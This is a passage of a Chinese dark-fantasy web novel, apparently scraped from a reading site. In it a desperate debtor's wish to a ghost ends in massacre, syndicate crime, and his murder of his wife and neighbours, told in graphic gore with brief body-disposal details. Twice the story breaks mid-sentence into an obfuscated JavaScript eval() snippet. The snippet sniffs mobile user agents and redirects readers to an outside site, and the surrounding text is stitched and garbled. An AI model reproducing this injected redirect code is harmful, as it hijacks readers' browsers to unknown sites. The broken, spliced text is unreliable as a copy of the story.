“何必掩饰呢?”墨镜男和颜悦色地说,“实话告诉你吧,沈先生,这个信息对我很重要。我向来是个很讲道理的人,如果你能告诉我,是谁帮了你,那免除你的债务也不是不可能。” “相当于做交换。”他含笑道,“既然你拿不出钱,用这个信息来交换怎么样?” “……这,”沈天合的目光发直,“这、真的可以吗?” “你只管说就好。”墨镜男颔首。 “是……”沈天合维持着磕头的姿势,视线上移,看了眼居高临下的墨镜男,又迅速缩回地面。 一滴冷汗从额角划过,他咽了咽口水,嗫嚅道:“对不起,我、我不知道她叫什么……” “哦。”一道漆黑的气练缠上了他的脖子,墨镜男的指尖萦绕着黑光,漫不经心道: “那你知道些什么呢?” ——缠在脖子上的力道猛地绞紧! 沈天合眼珠顿时暴凸,脸涨得通红。他心中骇然,下意识地伸手想去抓脖子上的东西,却什么都没有摸到——根本不是实体,却一下子就能杀死他! “爸爸!”沈月哭着大喊。舒涵嘴里塞着个纸团,泪流满面,疯狂摇头。 隔得远,又没有光,她们甚至看不清那边发生了什么,只能看到沈天合在痛苦地挣扎。 “我……”在彻底失去意识之前,沈天合大吼:“——我说、我说!” 束缚松开了。冰冷的空气涌入快要爆炸的肺,沈天合大口大口地喘气,面无人色。 墨镜男抱着双臂:“快点。” “……”沈天合趴在地上,像是还没从死里逃生的恐惧中回过神来。 他看了眼远处的妻女,又转头露出哀求的目光:“我们、我们能不能换个地方说,她们什么都不知道……” “你还敢提要求?!”壮汉挽起袖子就要再给他脸上来两拳,却被墨镜男拦住,“不用那么麻烦。” 他走到瑟瑟发抖的舒涵和沈月身边,在她们眼前打了个响指。两人一翻眼白,顿时失去了意识。 墨镜男走回来坐下:“说。” “这……”沈天合愣愣地看着他,“您、您是道士?还是……” 漆黑的灵力再次缠绕住昏迷的舒涵,墨镜男的神色已经有些不耐烦了:“你怎么还有心思废话的?” “别!”沈天合立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有,白幽灵的能力好像不一样的,她说这是自己承担因果……”沈天合支支吾吾地说。 墨镜男的目光越发审视,沈天合心里发慌,赶紧把白幽灵“因果置换”的能力讲了一遍。 这次讲的时间更久,沉默也更久。 “……” 半晌之后,墨镜男才缓缓道:“你是说,因果律天赋能力?” 沈天合一脸茫然。 “哈哈哈哈哈哈哈哈哈哈哈哈!”墨镜男忽然旁若无人地大笑起来,“妈的,真好运啊!随便一问,还钓到大鱼了!” “沈先生,你认识这个白幽灵吧?能不能想办法把它叫过来?” 他蹲下身,把手按在沈天合的肩膀上,露出一个诡谲的笑容: “——我是,除魔师!” 17.白幽灵(5) 废楼区四面漏风,黑影憧憧。沈天合战战兢兢地把碗摆好,拿着一把小刀,站在寒风里。 脚下是一个纹路繁复的巨大法阵,漆黑的光芒在其中律动,照得他全身都像是泼了墨。 “这样、这样能成吗?”他转头看向不远处的四个讨债人,露出一个比哭还难看的笑脸,“万一她不来……” “那你老婆孩子可就完了。”墨镜男说,“动手,别废话。” 沈天合抖了抖,转回身。他把小刀放在手腕上,闭了闭眼,心一横,猛地割开! 血滴进白瓷碗。沈天合目不转睛地凝视着水面,呼吸都要停滞了。 “白幽灵,白幽灵,白幽灵。”他喃喃着,声音细若蚊蝇。 “如果你能听到,求求你,出现吧……” ——求你了,救救我们吧! * 瓷碗上泛起了冰凉的、幽微的白光。 在漆黑的夜色中,在沈天合震恐的目光中,一个白色的人形在水面上缓缓凝成。 银发,黑裙。素白的女孩抬起了幽蓝的眼睛。 几乎是在同一瞬间,地上的法阵骤然亮起,无数道漆黑的光练自下而上地刺向她! “啊!”沈天合惨叫一声,连连向后退去。 苍蓝的火焰已在白幽灵的指尖凝形,但她看清了他的脸,怔了一秒。 只是一瞬的停顿,但下一刻,黑色光练从就四面八方将女孩笼罩起来,瞬间织成了一个铁铸般的牢笼! 法阵结成,彻底将她困在了中心。 “哈哈哈哈哈哈哈哈哈哈!”墨镜男爆发出一阵狂笑,“成功了!竟然真的成功了!” 巨大的牢笼投射出漆黑的影子,笼罩住几个渺小的人形。沈天合跌坐在地上,瑟缩着往后爬了几步,冷汗浸透了衣服,他不敢抬头。 “……” 白幽灵悬在空中,静静地俯瞰着下方。 “真稀奇,我还以为天赋这么少见的诅咒会更难抓一些呢。”墨镜男慢条斯理地走上前,悠悠道,“现在看来,灵智未开啊。” 白幽瞥了他一眼:“除魔师?” 墨镜男含笑:“不是怎么能抓住你呢?” 女孩眼中没什么情绪。她握住漆黑的栏杆,皮肉接触的地方“啪”地爆出一道闪电,灼穿了她的手! “一级封印灵器·死匣。”墨镜男慢悠悠地说,“能压制诅咒九成的力量,关进去就不可能靠自己出来了。” 焦黑的手像是烟雾一般散去,又很快凝成了原先的模样,白幽满不在乎地吹了吹气:“怎么不是十成?” “因为真把你关起来就太没意思了。”墨镜男眯了眯眼,“……你的天赋能力,真的是实现人类的愿望?” “他告诉你的呀?”白幽看了眼沈天合,“是可以,但不免费哦。” “要付出未知的代价嘛,我知道。”墨镜男笑着走近牢笼,漆黑的光芒在他手心跳动起来,散发出危险的气息。 他抬起手,对准笼中的女孩:“但是还有一种可能啊。如果我杀了你,得到你的诅咒核,再来实现自己的愿望,这可不可以呢?” ——诅咒消失后会留下诅咒核,通灵者如果能成功融合诅咒核,就会得到相应的能力。 能实现愿望的因果天赋,用来实现自己的愿望,总不需要多少代价吧? 漆黑的光芒在男人面前跃动,墨镜之下,他的眼底闪过一丝疯狂之色。 ——改写因果,心想事成。传说中的因果律天赋,如果真的存在,那他绝对要得到! “第一,杀死诅咒只有一半的概率得到诅咒核,得到后只有一半概率成功融合,融合后只有一半概率获得相同的能力。”白幽轻描淡写地说。 “第二,你杀不了我。” 墨镜男的面孔扭曲了一下,漆黑的光练瞬间从他手中飚射出去:“你试试!” 暴烈的黑色光芒覆盖了整个牢笼,化作无数刀斩,切割着牢笼中央的幽灵,鲜血飞溅如瀑! 恐怖的威势排山倒海地袭来,在场的所有人都不由窒息。 ——这才是真正的灵力术式,与之相比,先前差点致沈天合于死地的攻击只不过是过家家的儿戏! 血光散去,女孩却毫发无损地飘在原地。 “你这招数也太慢了吧。”白幽懒洋洋地说,“我再生的比死的都快。” 一滴冷汗滑过墨镜男的额角。 他狠狠一咬牙,悍然握拳,无数漆黑的灵力光练再次向女孩暴卷而去! 数不清到底出了多少招,数不清到底用了多少术式。刀光一次次将牢笼中的女孩绞碎,她又一次次地再生。 漆黑的光练与殷红的血纷乱地交织在一起,都抹消不了那个素白的人形。无比浓烈的色彩,绘就世界上最血腥的画卷。 “去死。”墨镜男开始一边释放招式,一边吼叫,“去死,去死!” 他的情绪终于决堤了:“——为什么没有死啊!!” 光练斩断了白幽灵的喉咙,断头在飞出去的一刻开始消散,很快又完好无损地出现在脖子上。她打了个哈欠:“有完没完啊?好无聊。” 紧随而至的刀光吞没了她。 利刃破风的声音,切割血肉的声音,鲜血泼洒的声音,混乱地在沈天合耳畔炸响。他惨无人色地看着眼前地狱般的景象,终于哇的一声吐了出来。 ……这到底是在做什么?为什么会这样啊?他不是在做梦吧?他为什么会在这里? 这都是些什么怪物啊!!! “曹大师!曹大师!”小胡子踉踉跄跄地拉住墨镜男,“冷、冷静点……这女鬼不正常,这女鬼不正常!” “滚开!”墨镜男把小胡子甩出去,摔到地上连滚好几圈。 他的状态显然也很不好,满身冷汗,面色惨白如纸,青筋毕露的手剧烈地颤抖着。 ……怎么可能?这怎么可能? ——怎么可能会有杀不死的诅咒啊?! “你是什么?”墨镜男死死地盯着笼中的女孩,“你到底……是什么?” 白幽站在满地鲜血中,若无其事地说:“我还想知道呢。” “我说,说到底你不就是想让我实现愿望吗?”她撑起下巴,懒懒道,“费这个劲干嘛啊,还不如直接向我许愿呢。我本身就是实现人类愿望的幽灵吧?” “你……”墨镜男愣在原地。 “来嘛,直接说。”白幽漫不经心地用指尖卷起一缕长发,“你有什么愿望呢?不管是什么,我都可以实现哦。” 幽蓝的眸子在黑夜中闪烁着微光,仿佛两窟荧荧的鬼火。 ——美丽,诱惑,诡谲,只需一眼,就可以摄取人的全副心神。 四个讨债人直愣愣地盯着她,眼睛圆睁,目光却渐渐失焦。 “我想,成为特级。”墨镜男第一个开口了,喃喃道,“我想变得更强……” “唔,你现在应该是二级?”白幽灵坐在半空中,有一下没一下地晃着腿,“二级也不低了吧,你还有这么厉害的灵器呢。” “不够!”墨镜男不自觉地痴笑起来,“还要更强。要让所有人都仰视我,害怕我,求我……” “哇,好有追求哦!”白幽笑着鼓了鼓掌, “——但是我拒绝。你也别做梦啦。” “?!”这句话像是一巴掌,把墨镜男从混沌中抽醒了。 他晃了晃脑袋,不可置信地看向白幽灵,“你说什么?” “我说我拒绝,你别做梦了。”女孩从善如流地重复了一遍。 “你——”墨镜男吸了口冷气,又狞笑道,“拒绝?你是不是忘记了自己还被我关着?!” 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他把沈天合的脸扭过来,微笑着说:“沈先生,你来为我许愿吧?” “为我许愿。说,想让我成为特级除魔师。如果真的成功了,我就免掉你的全部债务。”墨镜男说。 “愿望不是一定要发自真心吗?这样你总能真心了吧?” 沈天合的脖子被扭了超过九十度,骨头咔咔作响。 他看着墨镜男,头晕目眩,浑身发抖:“我、我不敢……” 墨镜男按住他的头,狠狠砸在地上! 鲜血溅起,一颗门牙崩了出去。墨镜男又扯着后衣领把他仰头拉起来,“敢不敢?” 剧痛直冲脑门,沈天合泪流满面地惨叫出声:“……白幽灵,白幽灵!求你了,实现他的愿望吧!!” 凌晨两点,雨下了起来。 淅淅沥沥的细雨从没有墙的楼侧飘了进来,雨声中混含着男人破碎的呜咽。 “呜……我、我,我本来是不想再找你的,但是我没办法……我欠了很多很多钱,他们绑架了舒涵和月月……我没办法……”沈天合哽咽道,“我……” 他说不下去了,痛哭流涕。 笼中静默。 晚风挟裹着细雨,递来一声轻轻的叹息:“你的愿望还是很强烈啊,为什么不早点向我许愿呢?” 沈天合垂着头,鼻血滴滴答答地流到地上,他的目光一片空白。 他无法回答,他不知道。沈天合只是本能地恐惧着这个诡秘莫测的女孩,就像是老鼠恐惧毒蛇。只要还有一丝机会,他都不想向她许愿。 ……他不想再见到她,他害怕那个未知的代价。 “不过,早晚都一样。”白幽淡淡地说,“真心可是一个很高的标准哦。如果你因为想要还债而替别人许愿,那你的愿望就是还清债务,而不是实现那个人的愿望。所以这个愿望不成立,再说一个吧。” “喂!”墨镜男按住沈天合脑袋的手又施了几分力,眼角抽搐,“你给我……” 漆黑的牢笼中,白幽的声音缥缈地传来: “沈天合,反正不管最后许下什么愿望,代价都会由你自己来承担。既然如此,为什么不说你真正想要的东西呢?你无论如何都想要的东西。” 头上像是压着一座山,沈天合的脑子嗡嗡作响,觉得颅骨都要爆裂开了,“我想要……” 他的嘴唇微微翕动:“我想要……” “——轰隆!!” 巨大的闪电从乌云中降下,照得所有人都惨白如鬼,霹雳的雷声掩过了最后一句话。 笼中的女孩扬起一个微笑。 她说:“好啊。” 空气似乎凝滞了一瞬。 下一刻,四个讨债人爆成了四朵硕大的血花。 18.白幽灵(6) 滴答、滴答、滴答。 滴……答。 血雨浇在了沈天合的脸上。 四个男人站立的地方已经只剩下一滩模糊的血肉。森森的白骨、粘稠的脑浆、七零八落的肢体,散了一地。 背后的压力消失了,取而代之的是浸透衣服的血,鲜活滚烫。 沈天合半个身子都浸泡在生腥的血水里,血从他脸上滚落,又沿着潮湿的地板流淌而下,像是蜿蜒的红蛇。 血,内脏,断肢,骨头。到处都是。 男人茫然地环顾四周,像是还在梦里。 “哎,这次的愿望竟然生效得这么快呀。”黑笼中的女孩新奇地打量着满地血腥,片刻后转头: “喂,沈天合——” “沈天合!”白幽趴在笼子上晃栏杆,“别发呆了,快过来帮忙!把这个法阵擦掉,放我出去啦!” 大脑迟钝得像是生锈了,根本无法处理现状。沈天合木然地坐起来,踏着血,摇摇晃晃地向笼子走去。 “这里这里。”白幽赶紧指挥,“你蘸点血,每个人的血都蘸一点,在阵上随便抹下。法阵没有闭合,这样会扰乱它的灵力脉络,然后我就能出去了。小心别先把符咒碰掉了嗷!” “哦。”沈天合目光空洞地俯下身,五指伸进血泊里,“哦……” 手摸到了一个又软又黏腻的东西。他拿到眼前,呆呆地看了一会儿。 ——腥红的,掺着点白丝的,还在缓缓起伏的。 一块辨不出形状的内脏。 “啊,”沈天合的瞳孔收缩,嘴失控地一点点张大,“啊……” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!” 麻木的神经被刺痛,恐惧的开关被按下,撕心裂肺的惨叫顿时响彻整个楼层。 “死人了,死人了!”沈天合一屁股跌坐在地上,连滚带爬地后退,“——死人了!!” “……”白幽被这突兀的尖叫吓了一跳,“干嘛呀。” “为什么……变成这样了?”沈天合瞪大眼睛,语无伦次,“他们,他们……” “死掉了。”白幽说,“怎么了,这不是你的愿望吗?” 沈天合像是被刺了一下,声嘶力竭道:“不是!不是!!” “——我的愿望不是这样的啊!!” “我说的是我想要钱——是要钱!钱!”他崩溃地抱着头,哽咽道,“我只是想要钱,很多钱……有钱我就能还债了,有钱这些人就不会再缠着我了……我只是想……我、我没有要杀人,我没想让他们死啊!” 男人的半张脸都是血,狰狞得如同恶鬼。 “……是代价吗?”沈天合失神地喃喃,“杀人是……代价吗?” “不知道。”白幽回答,“因为你还没拿到钱,所以你的愿望还没有实现,我不知道呢。” 她又晃了晃栏杆:“不过能不能先别说这个啊。快点把法阵弄没啦,我讨厌被关起来跟人说话!” 但沈天合像是什么都听不到了,他跪在地上,呆滞地摇着头:“就算是代价,你也没说……你没说会死人。现在这些,到处都是……呕!” 胃部一阵阵痉挛,沈天合又吐了出来。但他的胃里空空如也,只呕出了黄色的酸水。 呕吐物混在血泊中,和刺目的腥红一起漫进视野里,腥臭得像是屠宰场。 “我、我该怎么办……”沈天合抱住头,缩成一团,痛哭起来,“我怎么办啊?” “能怎么办,收拾呗。”白幽感到无语,“这么碎不是更方便吗?” “……” “你,”沈天合恍惚地抬起头,“……不是,你为什么这么冷静啊。” “死了这么多人啊,一眨眼,全死了,爆开了啊……” 沈天合缓缓眨了下眼,忽然像是明白了什么,手舞足蹈起来: “——我知道,我知道了!这是梦、这是做梦对吧?是幻觉!你刚刚不是也被砍了很多下吗,你不是没事吗!” 他扑通一下又跪到地上,疯狂地磕起头来:“求你了,解开这个幻觉吧!!我……我不要那么多钱了,我换个愿望!!我受不了这个,我怕,我怕杀人啊!!” “……” 暴雨倾盆,白幽站在笼中,微微垂下羽睫:“……怎么这就开始后悔了呀。” “没有什么幻觉哦。”她静静地说,“一切都是真的。人类,死了就是死了。” 人死是无法复生的,死去之后却依然存在的,只能是诅咒。 “可是,那又怎么了?” 白幽歪着头,似乎感到了几分真切的困惑,“这些不是你的仇人吗?不是他们害了你们家吗?他们今天不死在这里,你拿到钱又有什么用?” 沈天合终于彻底崩溃了:“——还没拿到钱就死人了啊!!” “你……你不是应该直接给我钱吗?你倒是把我的债还了啊!现在弄成这样我要怎么办?” “我、我怎么跟舒涵和月月解释……还有、还有警察……我会被抓走的,那我们家呢,我们家该怎么办啊!!” 他泪流满面地抱住头,“我只是要钱,我又没有要他们死……我,我根本就没想……” “你想了。”白幽静静地说,“既然愿望以这种形式实现,你一定想了。” 她不解地注视着沈天合:“而且,我现在也没有感受到新的愿望啊。所以你并不是真的希望他们复活,而是不想因为自己死人……是么?” 人类可以很轻易地诅咒某个人去死,却很难真正承担别人的死亡。 要亲眼看到鲜血喷溅而出,亲眼看到骨头四分五裂,亲眼看到脏器满地拖曳,才会知道,就算是人渣的命,也一样会有重量。 一道闪电划破整个夜空,撕碎了聚集的雷云。狂风终于夹着暴雨倾盆而下,千万雨滴如石块砸击屋顶,发出震耳欲聋的轰鸣。 沈天合跪坐在血污与肉块的中央,一动不动地看着笼中的女孩。血水沿着鼻翼划过那张沟壑纵横的脸,他像是一座风化的石雕。 惨白的脸,透明的身体,黑洞般的五官,如同琉璃一样死气沉沉的眼珠,与缠绕周身的不详雾气。 从第一次见面,直到现在,白幽灵在他眼中一直是这幅恐怖的样子。 地上已经看不到她被杀死后残损的肢体,铁笼并没有真正关住她,她是比死亡更不可理喻的诡异。 沈天合恍惚间想起了医院里那间苍白的病房,白色的幽灵微笑着说,这不是误会。 “……不是。”沈天合喃喃地说,“不是。” 他的嘴唇剧烈颤抖着:“……本来就不是我,我没有害死人。是你,都是你啊。” 沈天合忽然扑上前,一把撕掉了符咒。在黑笼彻底闭合之前,他撕心裂肺地喊出了最后一句话: “——你这个怪物!!” * 记忆像是面被打碎的镜子,每一块碎片的边缘都蔓延出狰狞的血色。 封印白幽灵之后,沈天合收拾了满地的狼藉。 拖掉血迹,捡走断肢和脏器,跟残存的骨头一起剁成不规则的碎片,顺着下水道冲下去。因为炸得实在很碎,其实并没有预想的费力。 暴雨是天然的掩护。沈天合在暴雨声中把麻袋拖回家,用菜刀砍碎肢体,拧干滴血的拖把。 在往后的噩梦里,即使他裹紧棉被、捂住双耳,这一夜的雨声也会一如既往地响起。 处理完一切后,他把妻子和女儿带回了家,等她们醒来后,含糊其辞地解释了昨晚的事情。舒涵只听到了“交换”,却不知道他们交换了什么。 她不需要知道。沈天合悲哀地想,他交换了无法挽回的东西。 那天之后,他找借口把舒涵和沈月暂时送回偏僻的乡下老家,独自留在了红梅公寓。 浑浑噩噩到了第三天,有人找上了门。 不是警察。 沈天合根本不知道发生了什么,眼前一晃就到了个漆黑的屋子里。抬起头,黑压压一片人。 西装革履的男人站在最前面,俯视着他:这就是杀了曹大师的人? 人群中有人回话:是普通人。 西装男踢了他一脚:喂,怎么做到的? ……不是我,沈天合战战兢兢地摇头,不是我杀的。 他语无伦次地复述了当天的事件。 他许愿了,四个讨债人死了,白幽灵……白幽灵冲开封印,再也找不到了。 话毕,全场沉默。 许久之后,西装男才挑了挑眉:真的假的? ……不过,如果没有诅咒介入,正二级除魔师也实在不可能给普通人杀了。 他看着沈天合,悠悠道:无论如何,既然我们的人是因你而死,那你必须偿命。 ——只是还有件事,我很好奇。既然那个幽灵已经实现了你的愿望,你现在不是应该很有钱吗? 我、我不知道。沈天合茫然,我没有拿到钱啊。 西装男沉思许久,忽然把沈天合从地上拽起来:这样吧,你现在去买二十张彩票。 他含笑道:如果开出来的奖金超过十万,你就能活。 门外就是地下□□场,发行了超过500万组即开型彩票,其中有100张五千,50张一万,20张十万,3张一百万。在二十张彩票中开出十万元的概率小于千万分之一。 决定生死的二十张彩票在桌子上一字排开,西装男拍拍沈天合的肩膀说,开始吧。 几十双眼睛共同注视着。 沈天合刮开了第一个兑奖码。 十万。 在此起彼伏的惊叫里,沈天合刮开了第二个兑奖码。 十万。 在躁动不安的空气里,沈天合刮开了第三个兑奖码。 十万。 命运的奇迹降临在了这个逼仄的黑屋子里。 二十张彩票,二十个十万。 那一天,三十四岁的沈天合跪在价值两百万的彩票中间,又哭又笑,状若疯癫。 * 放贷公司把包括除魔师曹猛在内的四个人的死彻底压了下去,没有再追究沈天合任何事情。 他们邀请他加入这里。 他们明白了,沈天合通过愿望得到的并不是任何实质的金钱,而是“运”,无与伦比的“财运”。 他是行走的摇钱树,只要有他参与的业务,业绩都会在各种因素的加持下突飞猛进,只要有他在,就会有源源不断的、无穷无尽的财富。 业务蒸蒸日上,公司的规模也越做越大。 沈天合被捧到了明面上的最高位置,在一年内从吃底薪的建筑工,跃升成了天海市的新晋富豪。无论走到哪里,都有人毕恭毕敬地称呼他一声“沈总”。 沈天合把舒涵调到了最稳的公办学校,把沈月送到了最好的双语小学,购置了几套不重样的别墅豪宅,全写了她们的名字。 理想中人上人的优渥生活到来了,没有谁能再为难他们一家。 钱,真是好东西啊。 以前他蹲在工地啃馒头,现在他一顿晚宴流水上千。 以前他攒钱一个月给舒涵买礼物,现在他在豪华会馆包场,狂欢整夜。 以前他结结巴巴地陪女儿说英语,现在他请得起最好的家教。 这个世界就像是把之前所有亏欠他的所有享受都还回来了,沈天合拥抱着它们,沉浸其间。 ……除了偶尔午夜梦回的时候,还是走不出那个血淋淋的暴雨之夜。 公司终归是涉黑起家的,以大量黑色地带的危险业务为根基。在沈天合的运势下,这些业务进展得同样无比顺利。 他们走私、放贷、招妓、拐卖、开赌场,无法地带,事事猖獗。而为了让运势发挥作用,沈天合也无法不参与其中。 他学着谈生意,学着抽雪茄,学着像他们一样……解决一个人,只用一句话。 第一次“事务”结束后,沈天合趴在洗手池旁,吐得昏天黑地。 西装男站在他旁边,点了根烟说:习惯就好。 城市的暗面是座荒莽的森林,这里光怪陆离,魑魅横行。他见到了许多像墨镜男那样手握奇诡力量的通灵者,知道这个世界上还有很多像白幽灵那样的诅咒,他们的存在对普通人就是降维打击。 在这里,生死都显得如此潦草随意。 沈天合没有这种天赋,所以从前他是猎物,他们是猎手,他任人宰割。但现在不一样了,他拥有他们都不具备的运势,所以他可以让全家都过上最好的生活,只需要付出一点点……安稳和良心。 他慢慢地、努力地、挣扎地,去适应着“猎手”的生活。 舒涵问他,能不能不要再继续了。 他说,我很忙。 舒涵问他,你什么时候回家。 他说,不知道。 舒涵问他,你最近到底在做什么呢? 他说,别问了。 沈天合用颤抖的手关上门。 他以前很喜欢和舒涵说话,早在有沈月之前,就两个人,坐在床上,聊自己的一天。但现在他们已经没什么可说的了,舒涵无法理解他的一天。 在某次已经称得上是激烈的争吵后,沈天合疲惫地把自己关在房间里,忽然发现桌子上多了一个方方正正的东西。 一幅画,装在木质画框里。 是用蜡笔画的,太阳公公、月亮姐姐、和小星星一起在公园的草地上野餐的场景。方格桌布上摆着三明治、粗麦方包和橘子汁。这些现在他们已经不再吃。 太阳是爸爸,月亮是妈妈,星星是月月。 画的名字是“最幸福的一家”。 三十五岁的沈天合趴在书桌上,抱着女儿的画,沉默地泪如雨下。 * 沈天合想,就这样吧。 为了妻子,为了女儿,他也一定要坚持下去。 他想给舒涵最体面的生活,他想给沈月最好的教育,他希望她们可以活在最灿烂的阳光下,永远忘记以前贫穷拮据、担惊受怕的日子。 只要她们还在他身边,他就可以不去在乎其他人,他就可以心安理得成为任何人。 有人因他而死又怎么样?反正早就有过这种事了。 而且人也不是他亲手杀的,要怪只能怪他们碍着公司。就算没有他参与其中,这些人也注定会被剥削和吞噬得一干二净。 他要专注自己最重要的东西。他不知道,他没看到,他不在乎。 这个世界上,所有人都是为了自己所重视的东西而奔波。他也一样,只是为了他们的家,只是为了让妻子和女儿过上更好的生活。 所以只要她们还在他身边,他就可以不知道,可以没看到,可以不在乎。 只要他的家还在,只要妻子和女儿还在,他就不知道,他就没看到,他就不在乎。 难道不应该这样吗? 所以他为什么还会做梦?为什么还会看到那四个人的残尸?为什么还会看到…… ……你? 惨白的脸,透明的身体,黑洞般的五官,如同琉璃一样死气沉沉的眼珠,与缠绕周身的不详雾气。 从第一次见面,直到被封印,白幽灵在他眼中始终是这幅恐怖的样子。 黑笼中的女孩安静地微笑着。她永远只重复一句话。 ——沈天合,你会付出代价。 我已经给了。他抑制住声音中的颤抖,四条人命,我一开始就已经给了! 够了吗?女孩问。 沈天合尖叫着想扑上去撕掉地上的符咒,但一阵风吹过,她就消失在了梦境里。 * 封印白幽灵的匣子被存放在当年的老家中,沈天合不敢挪位置。他已经很久不回去住了,但舒涵时不时会带着沈月回那里。 越回越久。 不知道从哪个时候开始,舒涵越来越少过问他的事了。 她默默地照顾着沈月,默默地打理好家事,即使已经有了好几套房产和巨额的共有存款,还是坚持着在学校上班。那里没有人知道她是沈总夫人,只知道她是舒老师。 沈天合想,也许是她也习惯了。 他觉得这样也好,没有那么多争吵和质疑,就这样一起适应新的生活。 他也已经习惯了。他看到刀具不会再呕吐,他可以听着水滴声入眠,他很少做梦。 只要她们还在他身边,他就可以不知道,可以没看到,可以全都不在乎。 只要她们还在他身边。 三百多天里,沈天合一遍遍地对自己重复,一遍遍地在心里念,在纸上写,刻在肉上,直到最后,他自己都对此深信不疑。 只要她们还在他身边,他就可以继续这样的生活,而她们一定会陪在自己身边……他们一家人,永远在一起。 所以,当舒涵在红梅公寓里把那封离婚协议书递给他的时候,他完全不相信。 他愤怒,他争辩,他哀求。而她像是没有力气跟他吵了,她温和地回答每一句话,但并不回心转意。 ……不对啊,不对啊。为什么啊。 为什么会想离开?为什么会想走呢? 明明钱能买到的一切,他都给了她们。 明明我做的所有这一切,都是为了你们。 如果当初没有我到处借债给你做手术,你早就病死了。 如果那天我没有向白幽灵许愿要钱,你已经被他们卖掉了。 如果现在不是我累死累活做生意,你根本不可能过上这种日子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254478|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但你却说不需要,说这还不如我们当初的生活。 ……你根本、根本就不知道,我们本来要过什么样的生活。 所以你为什么不来理解一下我?你为什么要质问我?你为什么还说我不应该做? 为什么?为什么?为什么?能有什么为什么? 沈天合拿起菜刀疯狂地劈下:“——我做这些还不是为了你们吗!!” “你以为我愿意看他们杀人!你以为我愿意替他们瞒着!” 菜刀砍进脖颈里,血花飚射出来,泼在沈天合脸上,狰狞如鬼。 他一下一下地挥着刀,就像是回到了那个暴雨的夜晚,他一个人在厨房里剁碎讨债人的骨头。 “——我他妈有什么办法?要是不照做,他们有一百种办法搞死我们家!我能怎么办啊?!我能拒绝吗?是因为你们啊,都是为了你们啊,因为我想让你们过上好日子啊!!” 一下,又一下,起起落落。 砍断手臂,捅进胸口,挖开腹部,无比娴熟,就像三百多天里他无数次目睹的。 腥红的血,惨白的脸。 是车祸“事故”里一闪而逝的惊恐的脸,是被浇成水泥桩的僵硬的死灰色的脸,是因为毒瘾发作而扭曲的青紫的脸。 无数张脸交叠在一起,沈天合只想把他们全都撕烂。 “……我都这么忍着了,我都这么忍着了,我都做到这个份上了,你为什么还要离开我?!明明我忍受这些都是为了你们,都是为了你们,为了你们,为了你们啊……!!” 一刀,一刀,一刀,一刀,再一刀。就像是那个噩梦般的夜晚,他第一次目睹真正的术式,数不清多少刀光落下,将同一个人反复切成碎片。 幽灵会一次次凝形,面前的女人却早已没有了声息。 “……啊。” 浸满了血的菜刀当啷一声掉到地上,沈天合愣愣地看着舒涵血迹斑驳的、惊恐万状的脸,嘴一点点张大:“啊……” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!” * 眼前的世界是颠倒的、破碎的、褪色的。只有一种颜色,那就是血的殷红,涂满了地板、书柜、电视机,从客厅一路拖到走廊。 沈天合惨叫着翻箱倒柜,五官都扭曲得变形了。他颤抖着从箱底翻出那个黑匣子,疯了一样地磕头。 “白幽灵,白幽灵,白幽灵!”他撕心裂肺地嚎哭,“我错了,我错了!我放你出来,求求你,救救舒涵吧!!” “救救她……救救她,什么代价我都愿意……什么代价我都给!我知道你能听到,求你了,求你了,我错了,我再也不逃了……” 真难想象人类能发出这么惨厉的哭声,他的肺像是个拉坏的风箱。沈天合一下又一下地把头叩在地上,额头的血和脸上的血混在一起流下,扭曲而狰狞。 “求你了,救救她。求求你,救救她,救救她……” 破碎的呜咽回荡在空旷的客厅里,恍若鬼哭。 没有任何声音回应他,黑匣子里沉寂如死。 “……白幽灵。”沈天合失魂落魄地喊着,“求你了,白幽灵。求求你。” “……如果你能听到,如果你愿意,回应我一声吧……无论什么代价我都愿意……” 幽冷的凉风穿堂而过,寂静得令人心悸。 黑匣子中没有任何回音。 沈天合维持着磕头的姿势,眼睛木然地睁着,脸上的血迹冰凉而黏腻。 ……哦,哦,白幽灵不愿意。 那怎么办,舒涵死了,他要复活舒涵啊。 人死是不会复生的,死去之后却仍然存在的,只能是诅咒。 所以,他只能求助诅咒。 要怎样白幽灵才会答应他? 要支付代价吧。她说过,他会给出代价的。 当初实现愿望的时候,代价不是四条人命吗,那是不是只要再给白幽灵四条人命,她就会答应复活舒涵? 大脑一片空白,容不下其他思考。 沈天合拿着一串钥匙,麻木地提起菜刀,推开了门。 * 303号房的青年还没有睡着,沈天合一刀捅进腹部将他毙命,又砍断了他的两条腿。 304号房的夫妻睡在一起,他先杀了丈夫,妻子因此被惊醒,他又杀死了妻子。 305号房住的是个老婆婆,很浅眠,她似乎抬起眼皮看了他一眼,随后被割断了喉咙。 血泼在沈天合脸上,他没有任何感觉。 难道不该如此吗?只要能让舒涵复活,他就可以什么都不在乎。是不是他做的有什么关系?这就是代价,他可以给出任何代价。 我给了,白幽灵。你看到了吗?我给了,我不会再逃了。 所以该你了。该你复活舒涵了。 “停下!”执勤的警察紧张地用电击棍指向他,“你这是要干什么!” 沈天合站在门口,露出一个痴痴的笑容。 他要干什么,他要复活舒涵啊。 他已经给了代价,现在,他的愿望要实现了。 大门打开,泼满血的客厅中,舒涵支离破碎的尸体静静地躺在原地。 没有消失,没有痊愈,就像任何一个死去的人。 不对吧。 沈天合想,这不对吧。 忽然,他听到了牙齿打战的声音,咔咔作响。然后,他听到了无比凄厉的惨叫,不似人声,如同野兽。 来自他的喉咙。 三十六岁的沈天合惨叫着,拿起刀,削下了自己的半个头。 * “嘶!” 